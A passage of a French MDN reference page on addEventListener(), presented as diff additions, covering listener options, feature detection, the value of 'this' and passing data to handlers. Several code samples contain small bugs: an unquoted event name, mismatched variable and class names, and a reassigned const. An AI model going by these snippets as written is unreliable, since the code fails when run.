+ <dd>L'objet qui recevra une notification (un objet qui implémente l'interface {{domxref("Event")}}) lorsqu'un évènement du type spécifié se produit. Cela doit être un objet implémentant l'interface {{domxref("EventListener")}} ou une <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Guide/Fonctions" title="fr/Référence_de_JavaScript_1.5_Core/Fonctions">fonction</a> JavaScript. Voir {{anch("The event listener callback")}} pour des détails sur le rappel lui-même.</dd>
+ <dt><code><var>options</var></code> {{optional_inline}}</dt>
+ <dd>Un objet options spécifie les caractéristiques de l'écouteur d'évènements. Les options disponibles sont :
+ <dl>
+  <dt><code>capture</code></dt>
+  <dd>Un {{jsxref("Boolean")}} indiquant que les évènements de ce type seront distribués à l'<code><var>écouteur</var></code> enregistré avant d'être distribués à tout <code>EventTarget</code> située en-dessous dans l'arborescence DOM.</dd>
+  <dt><code>once</code></dt>
+  <dd>Un {{jsxref("Boolean")}} indiquant que l'<em><code>écouteur</code></em> doit être invoqué au plus une fois après avoir été ajouté. Si <code>true</code> (<em>vrai</em>), l'<em><code>écouteur</code></em> sera automatiquement supprimé après son appel.</dd>
+  <dt><code>passive</code></dt>
+  <dd>Un {{jsxref("Boolean")}} qui, si <code>true</code>, indique que la fonction spécifiée par l'<em><code>écouteur</code></em> n'appellera jamais {{domxref("Event.preventDefault", "preventDefault()")}}. Si un écouteur passif appelle <code>preventDefault()</code>, l'agent utilisateur ne fera rien d'autre que de générer un avertissement sur la console. Voir {{anch("Amélioration des performances de défilement avec les écouteurs passifs")}} pour en apprendre davantage.</dd>
+  <dt>{{non-standard_inline}} <code>mozSystemGroup</code></dt>
+  <dd>Un {{jsxref("Boolean")}} indiquant que l'écouteur doit être ajouté au groupe système. Disponible seulement pour le code s'exécutant dans XBL ou dans le {{glossary("chrome")}} du navigateur Firefox.</dd>
+ </dl>
+ </dd>
+ <dt><code><var>utiliserCapture</var></code> {{optional_inline}}</dt>
+ <dd>Un  {{jsxref("Boolean")}} indiquant si les événements de ce type seront distribués à l'<em><code>écouteur</code></em> enregistré <em>avant</em> d'être distribués à toute <code>EventTarget</code> (cible d'évènement) située en-dessous dans l'arborescence DOM. Les événements qui se propagent vers le haut dans l'arborescence ne déclencheront pas un écouteur indiqué comme utilisant la capture. La propagation et la capture d'événements sont deux manières de propager des événements qui se produisent dans un élément imbriqué dans un autre, lorsque les deux éléments ont enregistré un gestionnaire pour cet événement. Le mode de propagation de l'évènement détermine l'ordre dans lequel les éléments reçoivent l'événement. Voir les <a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">DOM Level 3 Events</a> et <a href="http://www.quirksmode.org/js/events_order.html#link4">JavaScript Event order</a> pour une explication détaillée. Si non spécifié, <em><code>useCapture</code></em> a <code>false</code> pour valeur par défaut.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note : </strong>pour les écouteurs attachés à la cible d'évènement, l'évènement se trouve dans la phase cible, plutôt que dans les phases de propagation et de capture. Les évènements dans la phase cible déclencheront tous les écouteurs d'un élément dans l'ordre où ils ont été enregistrés, indépendamment du paramètre <em><code>useCapture</code></em>.</p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> <em><code>useCapture</code></em> n'est pas toujours facultatif. Idéalement, vous devriez l'inclure pour une compatibilité de navigateurs la plus large possible.</p>
+</div>
+
+<dl>
+ <dt><em><code>veutNonFiables</code></em> {{Non-standard_inline}}</dt>
+ <dd>Un paramètre spécifique à Firefox (Gecko). Si <code>true</code>, l'écouteur reçoit les événements synthétiques distribués par le contenu web (le défaut est <code>false</code> pour le {{glossary("chrome")}} du navigateur et <code>true</code> pour les pages web ordinaires). Ce paramètre est utile pour le code qui se trouve dans les compléments, ainsi que pour le navigateur lui-même.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p><code>undefined</code></p>
+
+<h2 id="Notes_dutilisation">Notes d'utilisation</h2>
+
+<h3 id="Le_rappel_de_lécouteur_dévènement">Le rappel de l'écouteur d'évènement</h3>
+
+<p>L'écouteur d'évènement peut être spécifié, soit comme une fonction de rappel, soit comme un objet qui implémente {{domxref ("EventListener")}}, dont la méthode {{domxref ("EventListener.handleEvent", "handleEvent ()")}} sert de fonction de rappel.</p>
+
+<p>La fonction de rappel a elle-même les mêmes paramètres et la même valeur de retour que la méthode <code>handleEvent()</code> ; c'est-à-dire que le rappel accepte un seul paramètre : un objet basé sur {{domxref ("Event")}} décrivant l'événement qui s'est produit, et il ne retourne rien.</p>
+
+<p>Par exemple, un rappel de gestionnaire d'événements pouvant être utilisé pour gérer à la fois {{domxref("Element/fullscreenchange_event", "fullscreenchange")}} et {{domxref("Element/fullscreenerror_event", "fullscreenerror")}} peut ressembler à ceci :</p>
+
+<pre class="brush: js line-numbers  language-js notranslate">function gestionnaireDEvenement(evenement) {
+  if (evenement.type == fullscreenchange) {
+    /* gérer un passage en plein écran */
+  } else /* fullscreenerror */ {
+    /* gérer une erreur de passage en plein écran */
+  }
+}</pre>
+
+<h3 id="Détection_de_la_prise_en_charge_des_options_en_toute_sécurité">Détection de la prise en charge des options en toute sécurité</h3>
+
+<p>Dans les anciennes versions de la spécification DOM, le troisième paramètre de <code>addEventListener()</code> était une valeur booléenne indiquant s'il fallait ou non utiliser la capture. Au fil du temps, il est devenu clair que davantage d'options étaient nécessaires. Plutôt que d'ajouter davantage de paramètres à la fonction (ce qui complique énormément les choses lors du traitement des valeurs optionnelles), le troisième paramètre a été changé en un objet pouvant contenir diverses propriétés définissant les valeurs des options pour configurer le processus de suppression de l'écouteur d'événement.</p>
+
+<p>Du fait que les navigateurs anciens (ainsi que certains navigateurs "pas si vieux") supposent toujours que le troisième paramètre est un Boolean, vous devez construire votre code de façon à gérer ce scénario intelligemment. Vous pouvez le faire en utilisant la détection de fonctionnalité pour chacune des options qui vous intéresse.</p>
+
+<p>Par exemple, si vous voulez vérifier l'option <code>passive</code> :</p>
+
+<pre class="brush: js line-numbers  language-js notranslate">var passiveSupportee = false;
+
+try {
+  var options = Object.defineProperty({}, "passive", {
+    get: function() {
+      passiveSupportee = true;
+    }
+  });
+
+  window.addEventListener("test", options, options);
+  window.removeEventListener("test", options, options);
+} catch(err) {
+  passiveSupportee = false;
+}</pre>
+
+<p>Cela crée un objet <em><code>options</code></em> avec une fonction accesseur pour la propriété <code>passive</code> ; l'accesseur initialise un indicateur, <code>passiveSupportee</code>, à <code>true</code> si elle est appelée. Cela signifie que si le navigateur vérifie la valeur de la propriété <code>passive</code> dans l'objet <em><code>options</code></em>, <code>passiveSupportee</code> sera initialisé à <code>true</code> ; sinon, il restera <code>false</code>. Nous appelons alors <code>addEventListener()</code> pour installer un faux gestionnaire d'événements, en spécifiant ces options, se sorte qu'elles soient vérifiées si le navigateur reconnaît un objet comme troisième paramètre. Ensuite, nous appelons <code>removeEventListener()</code> pour faire le ménage après notre passage. (Notez que <code>handleEvent()</code> est ignoré dans les écouteurs d'événements qui ne sont pas appelés).</p>
+
+<p>Vous pouvez vérifier de cette façon si une option quelconque est supportée. Ajoutez simplement un accesseur pour cette option en utilisant un code similaire à celui montré ci-dessus.</p>
+
+<p>Ensuite, lorsque vous voulez créer un écouteur d'événements réel qui utilise les options en question, vous pouvez faire quelque chose comme ce qui suit :</p>
+
+<pre class="brush: js line-numbers  language-js notranslate">unElement.addEventListener("mouseup", gererMouseUp, passiveSupportee
+                               ? { passive: true } : false);</pre>
+
+<p>Ici, nous ajoutons un écouteur pour l'événement {{domxref("Element/mouseup_event", "mouseup")}} dans l'élément <em><code>unElement</code></em>. Pour le troisième paramètre, si <em><code>passiveSupportee</code></em> est <code>true</code>, nous spécifions un objet <em><code>options</code></em> avec <code>passive</code> initialisée à <code>true</code> ; sinon, nous savons que nous devons passer un Boolean, et nous passons <code>false</code> comme valeur du paramètre <em><code>useCapture</code></em>.</p>
+
+<p>Si vous préférez, vous pouvez utiliser une bibliothèque tierce comme <a href="https://modernizr.com/docs">Modernizr</a> ou <a href="https://github.com/rafrex/detect-it">Detect It</a> pour faire ce test pour vous.</p>
+
+<p>Vous pouvez en apprendre davantage dans l'article à propos des <code><a href="https://github.com/WICG/EventListenerOptions/blob/gh-pages/explainer.md#feature-detection">EventListenerOptions</a></code>  du <a href="https://wicg.github.io/admin/charter.html">Groupe Web Incubator Community</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Ajouter_un_écouteur_simple">Ajouter un écouteur simple</h3>
+
+<p>Cet exemple montre comment utiliser <code>addEventListener()</code> pour surveiller les clics de souris sur un élément.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html line-numbers  language-html notranslate">&lt;table id="aLExterieur"&gt;
+    &lt;tr&gt;&lt;td id="t1"&gt;un&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;td id="t2"&gt;deux&lt;/td&gt;&lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js line-numbers  language-js notranslate">// Fonction pour changer le contenu de t2
+function modifierTexte() {
+  var t2 = document.getElementById("t2");
+  if (t2.firstChild.nodeValue == "trois") {
+    t2.firstChild.nodeValue = "deux";
+  } else {
+    t2.firstChild.nodeValue = "trois";
+  }
+}
+
+// Ajouter un écouteur d'évènements à la table
+var el = document.getElementById("aLExterieur");
+el.addEventListener("click", modifierTexte, false);</pre>
+
+<p>Dans ce code, <code>modifierTexte()</code> est un écouteur pour les évènements <code>click</code> enregistré en utilisant <code>addEventListener()</code>. Un clic n'importe où sur la table se propagera jusqu'au gestionnaire et exécutera <code>modifierTexte()</code>.</p>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Add_a_simple_listener')}}</p>
+
+<h3 id="Écouteur_dévènement_avec_une_fonction_anonyme">Écouteur d'évènement avec une fonction anonyme</h3>
+
+<p>Ici, nous allons voir comment utiliser une fonction anonyme pour passer des paramètres à l'écouteur d'événements.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html line-numbers  language-html notranslate">&lt;table id="aLExterieur"&gt;
+    &lt;tr&gt;&lt;td id="t1"&gt;un&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;td id="t2"&gt;deux&lt;/td&gt;&lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<pre class="brush: js line-numbers  language-js notranslate">// Fonction pour changer le contenu de t2
+function modifierTexte(nouveau_texte) {
+  var t2 = document.getElementById("t2");
+  t2.firstChild.nodeValue = nouveau_texte;
+}
+
+// Fonction pour ajouter un écouteur d'évènement à la table
+var el = document.getElementById("aLExterieur");
+el.addEventListener("click", function(){modifierTexte("quatre")}, false);</pre>
+
+<p>Notez que l'écouteur est une fonction anonyme encapsulant le code qui peut à son tour envoyer des paramètres à la fonction <code>modifierTexte()</code>, qui est responsable de la réponse effective à l'événement.</p>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Event_listener_with_anonymous_function')}}</p>
+
+<h3 id="Écouteur_dévènement_avec_une_fonction_fléchée">Écouteur d'évènement avec une fonction fléchée</h3>
+
+<p>Cet exemple montre un écouteur d'événement simple implémenté en utilisant la notation de fonction fléchée.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html line-numbers  language-html notranslate">&lt;table id="aLExterieur"&gt;
+    &lt;tr&gt;&lt;td id="t1"&gt;un&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;td id="t2"&gt;deux&lt;/td&gt;&lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="JavaScript_3">JavaScript</h4>
+
+<pre class="brush: js line-numbers  language-js notranslate">// Fonction pour changer le contenu de t2
+function modifierTexte(nouveau_texte) {
+  var t2 = document.getElementById("t2");
+  t2.firstChild.nodeValue = nouveau_texte;
+}
+
+// Ajouter un écouteur d'évènements à la table avec une fonction fléchée
+var el = document.getElementById("aLExterieur");
+el.addEventListener("click", () =&gt; { modifierTexte("quatre"); }, false);</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample('Event_listener_with_an_arrow_function')}}</p>
+
+<p>Notez que si les fonctions anonymes et fléchées sont similaires, elles ont des liaisons <code>this</code> différentes. Alors que les fonctions anonymes (et toutes les fonctions JavaScript traditionnelles) créent leurs propres liaisons <code>this</code>, les fonctions fléchées héritent la liaison<code> this</code> de la fonction contenante.</p>
+
+<p>Cela signifie que les variables et constantes disponibles pour la fonction contenante sont aussi disponibles pour le gestionnaire d'évènements lors de l'utilisation d'une fonction fléchée.</p>
+
+<h3 id="Exemple_dutilisation_des_options">Exemple d'utilisation des options</h3>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="exterieur"&gt;
+  extérieur, once &amp; none-once
+  &lt;div class="milieu" target="_blank"&gt;
+    milieu, capture &amp; none-capture
+    &lt;a class="interieur1" href="https://www.mozilla.org" target="_blank"&gt;
+      intérieur1, passive &amp; preventDefault (ce qui n'est pas autorisé)
+    &lt;/a&gt;
+    &lt;a class="interieur2" href="https://developer.mozilla.org/" target="_blank"&gt;
+      intérieur2, none-passive &amp; preventDefault (nouvelle page non ouverte)
+    &lt;/a&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">.exterieur, .milieu, .interieur1, .interieur2 {
+  display: block;
+  width:   520px;
+  padding: 15px;
+  margin:  15px;
+  text-decoration: none;
+}
+.exterieur {
+  border: 1px solid red;
+  color:  red;
+}
+.milieu {
+  border: 1px solid green;
+  color:  green;
+  width:  460px;
+}
+.interieur1, .interieur2 {
+  border: 1px solid purple;
+  color:  purple;
+  width:  400px;
+}
+</pre>
+
+<h4 id="JavaScript_4">JavaScript</h4>
+
+<pre class="brush: js notranslate">const exterieur  = document.querySelector('.exterieur');
+const milieu     = document.querySelector('.milieu');
+const interieur1 = document.querySelector('.interieur1');
+const interieur2 = document.querySelector('.interieur2');
+
+const capture = {
+  capture : true
+};
+const noneCapture = {
+  capture : false
+};
+const once = {
+  once : true
+};
+const noneOnce = {
+  once : false
+};
+const passive = {
+  passive : true
+};
+const nonePassive = {
+  passive : false
+};
+
+exterieur .addEventListener('click', onceHandler, once);
+exterieur .addEventListener('click', noneOnceHandler, noneOnce);
+milieu    .addEventListener('click', captureHandler, capture);
+milieu    .addEventListener('click', noneCaptureHandler, noneCapture);
+interieur1.addEventListener('click', passiveHandler, passive);
+interieur2.addEventListener('click', nonePassiveHandler, nonePassive);
+
+function onceHandler(evenement) {
+  alert('exterieur, once');
+}
+function noneOnceHandler(evenement) {
+  alert('exterieur, none-once, default');
+}
+function captureHandler(evenement) {
+  //evenement.stopImmediatePropagation();
+  alert('milieu, capture');
+}
+function noneCaptureHandler(evenement) {
+  alert('milieu, none-capture, default');
+}
+function passiveHandler(evenement) {
+  // Impossible d'utiliser preventDefault à l'intérieur de l'invocation d'un écouteur d'évènements passif.
+  evenement.preventDefault();
+  alert('interieur1, passive, nouvelle page ouverte');
+}
+function nonePassiveHandler(evenement) {
+  evenement.preventDefault();
+  //evenement.stopPropagation();
+  alert('interieur2, none-passive, défaut, nouvelle page non ouverte');
+}
+</pre>
+
+<h4 id="Résultat_4">Résultat</h4>
+
+<p>Cliquer les conteneurs extérieur, milieu, intérieurs respectivement pour voir comment les options fonctionnent.</p>
+
+<p>{{ EmbedLiveSample('Example_of_options_usage', 600, 310, '', 'Web/API/EventTarget/addEventListener') }}</p>
+
+<p>Avant d'utiliser une valeur particulière dans l'objet <code><var>options</var></code>, c'est une bonne idée que de s'assurer que le navigateur de l'utilisateur la prend en charge, du fait qu'elles sont un ajout que tous les navigateurs n'ont pas pris en charge historiquement. Voir {{anch("Safely detecting option support")}} pour les détails.</p>
+
+<h2 id="Autres_notes">Autres notes</h2>
+
+<h3 id="Pourquoi_utiliser_addEventListener">Pourquoi utiliser addEventListener() ?</h3>
+
+<p><code>addEventListener</code> est la manière d'enregistrer un écouteur d'évènements telle que spécifiée dans le DOM du W3C. Ses avantages sont les suivants :</p>
+
+<ul>
+ <li>Elle permet d'ajouter plus d'un seul gestionnaire pour un évènement. Cela peut s'avérer particulièrement utile pour les bibliothèques {{Glossary("AJAX")}}, les modules JavaScript ou tout autre sorte de code qui a besoin de fonctionner correctement avec d'autres bibliothèques/extensions.</li>
+ <li>Elle donne un contrôle plus fin sur la phase d'activation de l'écouteur (capture contre propagation)</li>
+ <li>Elle fonctionne avec tout élément DOM, pas seulement avec les éléments HTML.</li>
+</ul>
+
+<p>L'<a href="https://wiki.developer.mozilla.org/fr/docs/Web/API/EventTarget/addEventListener$edit#Older_way_to_register_event_listeners">ancienne manière alternative</a> d'enregistrer des évènements est décrite ci-dessous.</p>
+
+<h3 id="Ajout_dun_écouteur_pendant_la_distribution_dun_évènement">Ajout d'un écouteur pendant la distribution d'un évènement</h3>
+
+<p>Si un {{domxref("EventListener")}} est ajouté à une {{domxref("EventTarget")}} pendant qu'elle traite un évènement, cet évènement ne déclenchera l'écouteur. Cependant, le même écouteur pourra être déclenché à une étape ultérieure du flux d'évènements, telle que la phase de propagation.</p>
+
+<h3 id="Écouteurs_dévènements_identiques_multiples">Écouteurs d'évènements identiques multiples</h3>
+
+<p>Si des <code>EventListener</code>s identiques multiples sont enregistrés sur la même <code>EventTarget</code> avec les mêmes paramètres, les instances dupliquées sont supprimées. Elles ne provoqueront pas un appel en double de l'<code>EventListener</code>, et elles n'ont pas besoin d'être enlevées avec la méthode {{domxref("EventTarget.removeEventListener()", "removeEventListener()")}}.</p>
+
+<p>Notez toutefois que lors de l'utilisation d'une fonction anonyme comme gestionnaire, de tels écouteurs ne seront PAS identiques, du fait que les fonctions anonymes ne sont pas identiques, même si définies en utilisant le MÊME code source inchangé, simplement appelé répétitivement, même dans une boucle.</p>
+
+<p>Cependant, le fait de définir répétitivement la même fonction nommée dans de tels cas peut être davantage problématique. (Voir <a href="https://wiki.developer.mozilla.org/fr/docs/Web/API/EventTarget/addEventListener$edit#Memory_issues">Problèmes de mémoire</a> ci-dessous.)</p>
+
+<h3 id="La_valeur_de_this_à_lintérieur_du_gestionnaire">La valeur de "this" à l'intérieur du gestionnaire</h3>
+
+<p>Il est souvent souhaitable de référencer l'élément sur lequel le gestionnaire d'évènements a été déclenché, comme lors de l'utilisation d'un gestionnaire générique pour un ensemble d'éléments similaires.</p>
+
+<p>Lorsqu'une fonction gestionnaire est attachée à un élément en utilisant <code>addEventListener()</code>, la valeur de {{jsxref("Operators/this","this")}} à l'intérieur du gestionnaire est une référence à l'élément. C'est la même valeur que celle de la propriété <code>currentTarget</code> de l'argument évènement qui est passé au gestionnaire.</p>
+
+<pre class="brush: js notranslate">mon_element.addEventListener('click', function (e) {
+  console.log(this.className)           // journalise le className de mon_element
+  console.log(e.currentTarget === this) // journalise `true`
+})
+</pre>
+
+<p>Pour mémoire, les <a href="https://wiki.developer.mozilla.org/fr-FR/docs/Web/JavaScript/Reference/Functions/Arrow_functions#No_separate_this">fonctions fléchées n'ont pas leur propre contexte <code>this</code></a>.</p>
+
+<pre class="brush: js notranslate">mon_element.addEventListener('click', (e) =&gt; {
+  console.log(this.className)           // ATTENTION : `this` n'est pas `mon_element`
+  console.log(e.currentTarget === this) // journalise `false`
+})</pre>
+
+<p>Si un attribut d'évènement (par exemple, {{domxref("GlobalEventHandlers.onclick", "onclick")}}) est spécifié dans un élément dans le source HTML, le code JavaScript dans la valeur de l'attribut est effectivement encapsulé dans une fonction gestionnaire qui lie la valeur de <code>this</code> d'une manière cohérente avec l'<code>addEventListener()</code> ; une occurrence de <code>this</code> dans le code représente une référence à l'élément.</p>
+
+<pre class="brush: html notranslate">&lt;table id="ma_table" onclick="console.log(this.id);"&gt;&lt;!-- `this` fait référence à la table ; journalise 'ma_table' --&gt;
+  ...
+&lt;/table&gt;</pre>
+
+<p>Notez que la valeur de <code>this</code> à l'intérieur d'une fonction, <em>appelée</em> par le code dans la valeur de l'attribut, se comporte selon les <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this">règles standard</a>. Ceci est illustré dans l'exemple suivant :</p>
+
+<pre class="brush: html notranslate">&lt;script&gt;
+  function journaliserID() { console.log(this.id); }
+&lt;/script&gt;
+&lt;table id="ma_table" onclick="journaliserID();"&gt;&lt;!-- lorsqu'appelée, `this` fera référence à l'objet global --&gt;
+  ...
+&lt;/table&gt;</pre>
+
+<p>La valeur de <code>this</code> à l'intérieur de <code>journaliserID</code> est une référence à l'objet global {{domxref("Window")}} (ou <code>undefined</code> dans le cas du <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a>).</p>
+
+<h4 id="Spécification_de_this_en_utilisant_bind">Spécification de "this" en utilisant bind()</h4>
+
+<p>La méthode {{jsxref("Function.prototype.bind()")}} vous permet de spécifier la valeur qui doit être utilisée comme <code>this</code> pour tous les appels à une fonction donnée. Cette méthode vous permet de contourner facilement les problèmes dans lesquels ce que <code>this</code> sera n'est pas clair, en fonction du contexte depuis lequel votre fonction a été appelée. Notez toutefois que vous aurez besoin de conserver quelque part une référence à l'écouteur, de façon à pouvoir le supprimer ultérieurement.</p>
+
+<p>Ceci est un exemple avec et sans <code>bind()</code> :</p>
+
+<pre class="brush: js line-numbers  language-js notranslate">var QuelqueChose = function(element) {
+  // |this| est un objet nouvellement créé
+  this.name = 'Quelque Chose de Bon';
+  this.onclick1 = function(evenement) {
+    console.log(this.name); // undefined, du fait que |this| est l'élément
+  };
+  this.onclick2 = function(evenement) {
+    console.log(this.name); // 'Quelque Chose de Bon', du fait que |this| est lié à l'objet nouvellement créé
+  };
+  element.addEventListener('click', this.onclick1, false);
+  element.addEventListener('click', this.onclick2.bind(this), false); // Astuce
+}
+var q = new QuelqueChose(document.body);</pre>
+
+<p>Une autre solution consiste à utiliser une fonction spéciale appelée <code>handleEvent()</code> to intercepter tous les évènements :</p>
+
+<pre class="brush: js notranslate">const QuelqueChose = function(element) {
+  // |this| est un objet nouvellement créé
+  this.name = 'Quelque Chose de Bon';
+  this.<code>handleEvent</code> = function(evenement) {
+    console.log(this.name); // 'Quelque Chose de Bon', du fait que this est lié à l'objet nouvellement créé
+    switch(evenement.type) {
+      case 'click':
+        // un peu de code ici...
+        break;
+      case 'dblclick':
+        // un peu de code ici...
+        break;
+    }
+  };
+
+  // Notez que les écouteurs dans ce cas sont |this|, pas this.<code>handleEvent</code>
+  element.addEventListener('click', this, false);
+  element.addEventListener('dblclick', this, false);
+
+  // Vous pouvez enlever correctement les écouteurs
+  element.removeEventListener('click', this, false);
+  element.removeEventListener('dblclick', this, false);
+}
+const q = new QuelqueChose(document.body);
+</pre>
+
+<p>Une autre manière de gérer la référence à <em>this</em> est de passer à l'<code>EventListener</code> une fonction qui appelle la méthode de l'objet qui contient les champs auxquels on a besoin d'accéder :</p>
+
+<pre class="brush: js notranslate">class UneClasse {
+
+  constructor() {
+    this.name = 'Quelque Chose de Bon';
+  }
+
+  enregistrer() {
+    const cela = this;
+    window.addEventListener('keydown', function(e) { cela.uneMethode(e); });
+  }
+
+  uneMethode(e) {
+    console.log(this.name);
+    switch(e.keyCode) {
+      case 5:
+        // un peu de code ici...
+        break;
+      case 6:
+        // un peu de code ici...
+        break;
+    }
+  }
+
+}
+
+const monObjet = new UneClass();
+monObjet.enregistrer();</pre>
+
+<h3 id="Passer_des_données_à_et_depuis_un_écouteur_dévènements">Passer des données à et depuis un écouteur d'évènements</h3>
+
+<p>On peut avoir l'impression que les écouteurs d'évènements sont comme des îles et qu'il est extrêmement difficile de leur passer des données quelconques, encore moins d'en récupérer après qu'ils ont été exécutés. Les écouteurs d'évènements ne prennent qu'un seul argument, l'<a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Events#Event_objects">Event Object</a>, qui est passé automatiquement à l'écouteur, et la valeur retournée est ignorée. Donc à nouveau, comment pouvons-nous leur passer des données et en récupérer ? Il y a certain nombre de bonnes méthodes pour ce faire.</p>
+
+<h4 id="Passer_des_données_à_un_écouteur_dévènement_en_utilisant_this">Passer des données à un écouteur d'évènement en utilisant "this"</h4>
+
+<p>Comme mentionné <a href="https://wiki.developer.mozilla.org/fr/docs/Web/API/EventTarget/addEventListener$edit#Specifying_this_using_bind">ci-dessus</a>, vous pouvez utiliser <code>Function.prototype.bind()</code> pour passer une valeur à un écouteur d'évènements via la variable de référence <code>this</code>.</p>
+
+<pre class="brush: js notranslate">const monBouton = document.getElementById('id-de-mon-bouton');
+const uneChaine = 'Données';
+
+monButton.addEventListener('click', function () {
+  console.log(this);  // Valeur Attendue : 'Données'
+}.bind(uneChaine));
+</pre>
+
+<p>Cette méthode est appropriée quand vous n'avez pas besoin de savoir sur quel élément HTML l'écouteur d'évènement a été déclenché par programme depuis l'intérieur de l'écouteur d'évènements. Le principal avantage de cette façon de faire est que l'écouteur d'évènements reçoit les données sensiblement de la même manière qu'il le ferait si vous les lui passiez au moyen de sa liste d'arguments.</p>
+
+<h4 id="Passer_des_données_à_un_écouteur_dévènements_en_utilisant_une_propriété_de_portée_externe">Passer des données à un écouteur d'évènements en utilisant une propriété de portée externe</h4>
+
+<p>Quand une portée externe contient une déclaration de variable (avec <code>const</code>, <code>let</code>), toutes les fonctions internes déclarées dans cette portée ont accès à cette variable (voir <a href="https://wiki.developer.mozilla.org/fr-FR/docs/Glossary/Function#Different_types_of_functions">ici</a> pour des informations sur les fonctions externes/internes, et <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var#Implicit_globals_and_outer_function_scope">ici</a> pour des informations sur la portée des variables). Par conséquent, une des façons les plus simples pour accéder à des données depuis l'extérieur d'un écouteur d'évènements est de le rendre accessible dans la portée dans laquelle l'écouteur d'évènement est déclaré.</p>
+
+<pre class="brush: js notranslate">const monButton = document.getElementById('id-de-mon-bouton');
+const uneChaine = 'Données';
+
+monButton.addEventListener('click', function() {
+  console.log(uneChaine);  // Valeur Attendue : 'Données'
+
+  uneChaine = 'Encore des Données';
+});
+
+console.log(uneChaine);  // Valeur Attendue : 'Données' (ne produira jamais 'Encore des Données')
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Bien que les portées internes aient accès aux variables <code>const</code> et <code>let</code> depuis les portées externes, vous ne pouvez pas vous attendre à ce que des changements quelconques de ces variables soient accessibles après la définition de l'écouteur d'évènements, à l'intérieur de la même portée externe. Pourquoi ? Simplement parce qu'au moment où l'écouteur d'évènements s'exécutera, la portée dans laquelle il a été défini pourra avoir déjà fini de s'exécuter.</p>
+</div>
+
+<h4 id="Passer_des_données_à_et_depuis_un_écouteur_dévènements_en_utilisant_des_objets">Passer des données à et depuis un écouteur d'évènements en utilisant des objets</h4>
+
+<p>A l'inverse de la plupart des fonctions en JavaScript, les objets sont conservés en mémoire aussi longtemps qu'une variable les référençant existe en mémoire. Ceci, et le fait que les objets peuvent avoir des propriétés, et qu'ils peuvent être passés alentour par référence, en fait des candidats plausibles pour partager des données entre les portées. Explorons cela.</p>
+
+<div class="note">
+<p><strong>Note :</strong> les fonctions en JavaScript sont en fait des objets. (Par conséquent, elles aussi peuvent avoir des propriétés, et seront conservées en mémoire même après qu'elles ont fini de s'exécuter, si elles ont été affectées à une variable qui persiste en mémoire.)</p>
+</div>
+
+<p>Du fait que les propriétés d'un objet peuvent être utilisées pour stocker des données en mémoire aussi longtemps qu'une variable référençant l'objet existe en mémoire, vous pouvez en fait les utiliser pour passer des données dans un écouteur d'évènements, et retourner tous les changements aux données après que l'écouteur d'évènements s'est exécuté. Considérez cet exemple :</p>
+
+<pre class="brush: js notranslate">const monBouton = document.getElementById('id-de-mon-bouton');
+const unObjet = {unePropriete: 'Données'};
+
+monButton.addEventListener('click', function() {
+  console.log(unObjet.unePropriete);  // Valeur Attendue : 'Données'
+
+  unObjet.unePropriete = 'Encore des Données';  // Changer la valeur
+});
+
+window.setInterval(function() {
+  if (unObjet.unePropriete === 'Encore des Données') {
+    console.log('Encore des Données: Vrai');
+    unObjet.unePropriete = 'Données';  // Réinitialiser la valeur pour attendre la prochaine exécution de l'évènement
+  }
+}, 5000);
+</pre>
+
+<p>Dans cet exemple, même si la portée dans laquelle à la fois l'écouteur d'évènements et la fonction d'intervalle ont été définis a fini de s'exécuter avant que la valeur originale de <code>unObjet.unePropriete</code> ait changé, du fait que <code>someObject</code> persiste en mémoire (par <em>référence</em>) à la fois dans l'écouteur d'évènements et dans la fonction d'intervalle, tous deux ont accès aux mêmes données (i.e. quand l'un change les données, l'autre peut répondre aux changements).</p>
+
+<div class="note">
+<p><strong>Note :</strong> les objets sont stockés dans les variables par référence, ce qui signifie que seul l'emplacement en mémoire des données elles-mêmes est stocké dans la variable. Entre autres choses, cela signifie que les variables qui "stockent" des objets peuvent en fait affecter d'autres variables qui se voient affecter ("stocker") la même référence d'objet. Quand deux variables référencent le même objet (par ex., <code>let a = b = {unePropriete: 'Ouais'};</code>), le fait de changer les données dans l'une ou l'autre des variables affectera l'autre.</p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> du fait que les objets sont stockés dans les variables par référence, vous pouvez retourner un objet depuis une fonction pour le maintenir en vie (le conserver en mémoire, de sorte que vous n'en perdiez pas les données) après que cette fonction a fini de s'exécuter.</p>
+</div>
+
+<h3 id="Héritage_Internet_Explorer_et_attachEvent">  Héritage Internet Explorer et attachEvent</h3>
+
